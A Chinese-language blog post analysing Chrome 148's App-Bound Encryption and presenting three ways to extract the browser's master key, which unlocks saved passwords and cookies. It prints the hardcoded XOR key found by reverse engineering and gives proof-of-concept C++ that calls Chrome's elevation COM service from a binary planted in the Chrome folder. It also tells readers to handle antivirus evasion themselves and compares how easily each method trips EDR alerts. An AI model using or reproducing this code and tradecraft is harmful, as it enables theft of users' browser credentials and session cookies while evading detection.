前言
想要解密Chrome保存的用户密码,Cookie等信息,就需要获得主密钥。该版本的Chrome解密主密钥延续了ChromeAppBound的机制,采取多阶段逐步校验解密。加密解密均由GoogleChromeElevationService服务提供,该服务是一个进程外的COM服务,提供了加密解密的接口。
- 阶段1:以SYSTEM身份进行DPAPI解密
- 阶段2:以登录的用户身份进行DPAPI解密
- 阶段3:验证客户端的路径
- 阶段4:AES-GCM解密
下面是具体阶段的分析。
版本:148.0.7778.97 x64位
源码分析
从Chromium官网中查看源码:
c
HRESULT Elevator::DecryptData(const BSTR ciphertext,
BSTR* plaintext,
DWORD* last_error) {
UINT length = ::SysStringByteLen(ciphertext);
if (!length)
return E_INVALIDARG;
DATA_BLOB input = {};
input.cbData = length;
input.pbData = reinterpret_cast<BYTE*>(ciphertext);
DATA_BLOB intermediate = {};
// Decrypt using the SYSTEM dpapi store.
if (!::CryptUnprotectData(&input, nullptr, nullptr, nullptr, nullptr, 0,
&intermediate)) {
*last_error = ::GetLastError();
return kErrorCouldNotDecryptWithSystemContext;
}
base::win::ScopedLocalAlloc intermediate_freer(intermediate.pbData);
std::string plaintext_str;
bool should_reencrypt = false;
if (ScopedClientImpersonation impersonate; impersonate.is_valid()) {
DATA_BLOB output = {};
// Decrypt using the user store.
if (!::CryptUnprotectData(&intermediate, nullptr, nullptr, nullptr, nullptr,
0, &output)) {
*last_error = ::GetLastError();
return kErrorCouldNotDecryptWithUserContext;
}
base::win::ScopedLocalAlloc output_freer(output.pbData);
std::string mutable_plaintext(reinterpret_cast<char*>(output.pbData),
output.cbData);
const std::string validation_data = PopFromStringFront(mutable_plaintext);
if (validation_data.empty()) {
return kErrorInvalidValidationData;
}
const auto data =
std::vector<uint8_t>(validation_data.cbegin(), validation_data.cend());
const auto process = GetCallingProcess();
if (!process.IsValid()) {
*last_error = ::GetLastError();
return kErrorCouldNotObtainCallingProcess;
}
// Note: Validation should always be done using caller impersonation token.
HRESULT validation_result = ValidateData(process, data);
if (FAILED(validation_result)) {
*last_error = ::GetLastError();
return validation_result;
}
if (validation_result == kSuccessShouldReencrypt) {
should_reencrypt = true;
}
plaintext_str = PopFromStringFront(mutable_plaintext);
} else {
return impersonate.result();
}
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
InternalFlags flags;
auto post_process_result = PostProcessData(plaintext_str, &flags);
if (!post_process_result.has_value()) {
return post_process_result.error();
}
plaintext_str.swap(*post_process_result);
if (flags.post_process_should_reencrypt) {
should_reencrypt = true;
}
#endif // BUILDFLAG(GOOGLE_CHROME_BRANDING)
*plaintext =
::SysAllocStringByteLen(plaintext_str.c_str(), plaintext_str.length());
if (!*plaintext)
return E_OUTOFMEMORY;
if (base::CommandLine::ForCurrentProcess()->HasSwitch(
switches::kFakeReencryptForTestingSwitch)) {
should_reencrypt = true;
}
return should_reencrypt ? kSuccessShouldReencrypt : S_OK;
}
从源码中很清晰的看到解密流程:
- 以SYSTEM身份进行一次DPAPI解密
- 以用户身份进行一次DPAPI解密
逆向分析
然而实践之后发现使用解密出的主密钥无法正确解密数据,显然不止有这么点东西。使用IDA去看elevation_service.exe才发现,事情没有这么简单。
第一阶段解密
-
进行了两次不同身份的DPAPI解密
-

-
得到的数据,这里记作dec_blob:
text000001cc`699db740 20 00 00 00 03 00 43 3a-5c 50 72 6f 67 72 61 6d .....C:\Program 000001cc`699db750 20 46 69 6c 65 73 5c 47-6f 6f 67 6c 65 5c 43 68 Files\Google\Ch 000001cc`699db760 72 6f 6d 65 5d 00 00 00-03 dd 84 72 86 2e c2 42 rome]....݄r�.�B 000001cc`699db770 47 dc ed f8 05 d1 30 4c-a5 50 a4 64 89 92 43 17 G���.�0L�P�d��C. 000001cc`699db780 b3 12 fd 70 fd 0a 73 b1-5f c4 21 30 07 70 0c 25 �.�p�.s�_�!0.p.% 000001cc`699db790 e9 e2 c5 60 68 8f 99 35-88 81 a3 07 ca b0 38 46 ���`h..5..�.ʰ8F 000001cc`699db7a0 5f a6 3d 88 b6 b8 22 f7-97 08 88 99 a3 7d bd 46 _�=.��"��...�}�F 000001cc`699db7b0 b1 68 42 21 ba c1 60 ef-7b 8f c5 52 18 a4 cb be �hB!��`�{.�R.�˾ 000001cc`699db7c0 8a ed 5d a2 f3
客户端校验
-
验证客户端所在的路径,必须要在
C:\Program Files\Google\Chrome下。 -

-
identifier 是 d e c _ b l o b [ 0 x 4 : 0 x 24 ] \textcolor{orange}{dec\_blob[0x4:0x24]} dec_blob[0x4:0x24]区间的数据,由 f l a g + p a t h \textcolor{orange}{flag+path} flag+path组成。这里就是0x3和C:\Program Files\Google\Chrome。
-
获取客户端进程令牌的安全属性
-

第二阶段解密
-
进行KSP解密,期间检查 d e c _ b l o b [ 0 x 25 : 0 x 28 ] \textcolor{orange}{dec\_blob[0x25:0x28]} dec_blob[0x25:0x28]的DWORD值是否为3
-

-
解密 d e c _ b l o b [ 0 x 29 : 0 x 48 ] \textcolor{orange}{dec\_blob[0x29:0x48]} dec_blob[0x29:0x48]的数据,得到的结果记为aes_key (因为后面分析发现会用此结果作为AES-GCM的解密密钥)。
-

-
对aes_key与硬编码进行单字节XOR
-

-
硬编码数据,共32字节:
text
00007ff6`10cfa7d8 cc f8 a1 ce c5 66 05 b8-51 75 52 ba 1a 2d 06 1c �����f.�QuR�.-..
00007ff6`10cfa7e8 03 a2 9e 90 27 4f b2 fc-f5 9b a4 b7 5c 39 23 90 .��.'O������\9#.
第三阶段解密
使用AES-GCM 解密 d e c _ b l o b [ 0 x 49 : 84 ] \textcolor{orange}{dec\_blob[0x49:84]} dec_blob[0x49:84],得到最终的主密钥。
主密钥获取 - 一鱼三吃
第一吃(无需管理员)
原理是创建Chrome进程,然后注入DLL,由DLL去调用COM服务GoogleChromeElevationService的解密接口。已经有开源项目,但是需要修改,这里不再重复写了。项目详情见:参考[4]。
第二吃(需要管理员)
原理是模拟GoogleChromeElevationService的整个解密流程:
- 复制Lsass的Token,以便使用SYSTEM的身份进行DPAPI解密。 注意:这一步需要管理员权限! \textcolor{BrickRed}{注意:这一步需要管理员权限!} 注意:这一步需要管理员权限!
- 使用当前登录用户身份进行第二次DPAPI解密。
- 使用KSP解密AES-GCM的加密秘钥。
- 使用硬编码XOR再次解密AES-GCM的加密秘钥。
- 使用AES-GCM解密得到最终的主密钥。
也有开源项目,详见:参考[3]。
第三吃(需要管理员)
这是本篇文章重点要说的
原理步骤:
- 编写一个请求GoogleChromeElevationService服务的程序A,直接调用其解密接口。
- 将程序A复制到目录
C:\Program Files\Google\Chrome下。 注意:这一步需要管理员权限! \textcolor{BrickRed}{注意:这一步需要管理员权限!} 注意:这一步需要管理员权限! - 运行Chrome目录下的A。
这里只给出概念验证的源码,不提供完整项目,拒绝脚本小子!自己考虑免杀!
c
// IElevator2Chrome.h
DEFINE_GUID(IID_IElevatorChrome,
0x463abecf, 0x410d, 0x407f, 0x8a, 0xf5, 0x0d, 0xf3, 0x5a, 0x00, 0x5c, 0xc8);
enum ProtectionLevel
{
PROTECTION_NONE = 0,
PROTECTION_PATH_VALIDATION_OLD = 1,
PROTECTION_PATH_VALIDATION = 2,
PROTECTION_PATH_VALIDATION_WITH_ISOLATION = 3,
PROTECTION_MAX = 4,
};
interface IElevator2Chrome : public IUnknown
{
public:
/**
* ?? CRX ??????
* @param crx_path CRX ????
* @param browser_appid ??????? ID
* @param browser_version ?????
* @param session_id ?? ID
* @param caller_proc_id ???? ID
* @param proc_handle ????????
* @return HRESULT
*/
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(
/* [in] */ BSTR crx_path,
/* [in] */ BSTR browser_appid,
/* [in] */ BSTR browser_version,
/* [in] */ BSTR session_id,
/* [in] */ UINT caller_proc_id,
/* [out] */ ULONG64 * proc_handle
) = 0;
/**
* ????
* @param protection_level ????
* @param plaintext ?????
* @param ciphertext ????????
* @param last_error ?????????
* @return HRESULT
*/
virtual HRESULT STDMETHODCALLTYPE EncryptData(
/* [in] */ ProtectionLevel protection_level,
/* [in] */ BSTR plaintext,
/* [out] */ BSTR* ciphertext,
/* [out] */ UINT32* last_error
) = 0;
/**
* ????
* @param ciphertext ?????
* @param plaintext ????????
* @param last_error ?????????
* @return HRESULT
*/
virtual HRESULT STDMETHODCALLTYPE DecryptData(
/* [in] */ BSTR ciphertext,
/* [out] */ BSTR* plaintext,
/* [out] */ UINT32* last_error
) = 0;
// More...
};
c
// ChromeMasterKeyFetchV20.h
class ChromeMasterKeyFetchV20
{
public:
std::vector<uint8_t> get(const std::wstring& master_key_path = L"") override
{
const GUID guid_chrome_elevator = { 0x708860e0,0xf641,0x4611,{0x88,0x95,0x7d,0x86,0x7d,0xd3,0x67,0x5b} };
std::vector<uint8_t> result;
try
{
uint32_t error = 0;
auto enc_master_key = get_encrypted_master_key(master_key_path.empty() ? get_master_key_path() : master_key_path);
CComPtr<IElevator2Chrome> pElevatorChrome;
auto hr = ::CoCreateInstance(guid_chrome_elevator, nullptr, CLSCTX_LOCAL_SERVER,IID_PPV_ARGS(&pElevatorChrome));
if (FAILED(hr) || !pElevatorChrome) throw std::runtime_error("Failed to create IElevatorChrome instance.");
// 必须设置代理权限,否则会出现DRM_E_LIC_CHAIN_TOO_DEEP错误
hr = ::CoSetProxyBlanket(
pElevatorChrome,
RPC_C_AUTHN_DEFAULT,
RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
EOAC_DYNAMIC_CLOAKING
);
if (FAILED(hr)) throw std::runtime_error("Failed to set proxy blanket.");
utils::UniquePtr<OLECHAR, decltype(&::SysFreeString)> dec_master_key(nullptr, ::SysFreeString);
utils::UniquePtr<OLECHAR, decltype(&::SysFreeString)>
bstrCiphertext(SysAllocStringByteLen(reinterpret_cast<const char*>(enc_master_key.data() + 4), static_cast<UINT>(enc_master_key.size() - 4)), ::SysFreeString);
hr = pElevatorChrome->DecryptData(bstrCiphertext.get(), &dec_master_key, &error);
if (FAILED(hr) || !dec_master_key) throw std::runtime_error("Failed to decrypt master key.");
result.resize(0x20);
std::memcpy(result.data(), dec_master_key.get(), 0x20);
return result;
}
catch (const std::exception& e)
{
throw e;
}
}
protected:
// master_key_path: C:\Users\username\AppData\Local\Google\Chrome\User Data\Local State
std::vector<uint8_t> get_encrypted_master_key(const std::wstring& master_key_path)
{
auto ifKeyJson = std::ifstream(master_key_path, std::ios::in | std::ios::binary);
if (!ifKeyJson.is_open()) throw std::runtime_error("Failed to open master key file.");
std::string content((std::istreambuf_iterator<char>(ifKeyJson)), std::istreambuf_iterator<char>());
auto jsonContent = boost::json::parse(content).as_object();
std::string encryptedKeyBase64 = jsonContent.at("os_crypt").at("app_bound_encrypted_key").as_string().c_str();
// ??base64??????
std::size_t decoded_size =
boost::beast::detail::base64::decoded_size(encryptedKeyBase64.length());
// ??vector???????base64??????
std::vector<uint8_t> decodedKey(decoded_size, 0);
auto result = boost::beast::detail::base64::decode(decodedKey.data(), encryptedKeyBase64.data(), encryptedKeyBase64.length());
if (result.first == 0) throw std::runtime_error("Failed to decode master key.");
decodedKey.resize(result.first);
return decodedKey;
}
};
注意:不同版本的 C h r o m e ,需要使用不同版本的 I E l e v a t o r C h r o m e 接口。本篇分析的 C h r o m e 用的是 I E l e v a t o r 2 C h r o m e 接口。 \textcolor{BrickRed}{注意:不同版本的Chrome,需要使用不同版本的IElevatorChrome接口。本篇分析的Chrome用的是IElevator2Chrome接口。} 注意:不同版本的Chrome,需要使用不同版本的IElevatorChrome接口。本篇分析的Chrome用的是IElevator2Chrome接口。
测试

总结
三种方法各有优劣。方法1虽然不需要管理员权限,但是需要进行注入,这就比较考究注入的姿势了。但是常见的注入方式动作太大太明显,在某些EDR环境下容易暴露。
方法2虽然不用注入,但是需要管理员权限,而且需要复制LSASS进程的令牌。一方面,LSASS进程是很敏感的,在某些EDR下面也是看守的很紧,容易触发告警;另一方面,不同版本的Chrome解密的算法不同,这就需要进行大量的维护,不太适用。
方法3算是一个比较折中的办法,需要管理员的权限也仅仅是为了能够将自身移动到限定的目录下。
参考
1\] [https://source.chromium.org/chromium/chromium/src/+/main:chrome/elevation_service/elevator.cc;l=94?q=PreProcessData\&sq=\&ss=chromium%2Fchromium%2Fsrc](https://source.chromium.org/chromium/chromium/src/+/main:chrome/elevation_service/elevator.cc;l=94?q=PreProcessData&sq=&ss=chromium%2Fchromium%2Fsrc) \[2\] [GitHub - xaitax/Chrome-App-Bound-Encryption-Decryption: Bypass Chromium's App-Bound Encryption via Direct Syscall-based Reflective Process Hollowing. Extract cookies, passwords, payment methods \& tokens from Chrome, Edge, Brave \& Avast - fileless, user-mode, no admin required. · GitHub](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/) \[3\] [GitHub - runassu/chrome_v20_decryption: Chrome COOKIE v20 decryption PoC · GitHub](https://github.com/runassu/chrome_v20_decryption) \[4\] [GitHub - Maldev-Academy/DumpChromeSecrets: Extract data from modern Chrome versions, including refresh tokens, cookies, saved credentials, autofill data, browsing history, and bookmarks · GitHub](https://github.com/Maldev-Academy/DumpChromeSecrets)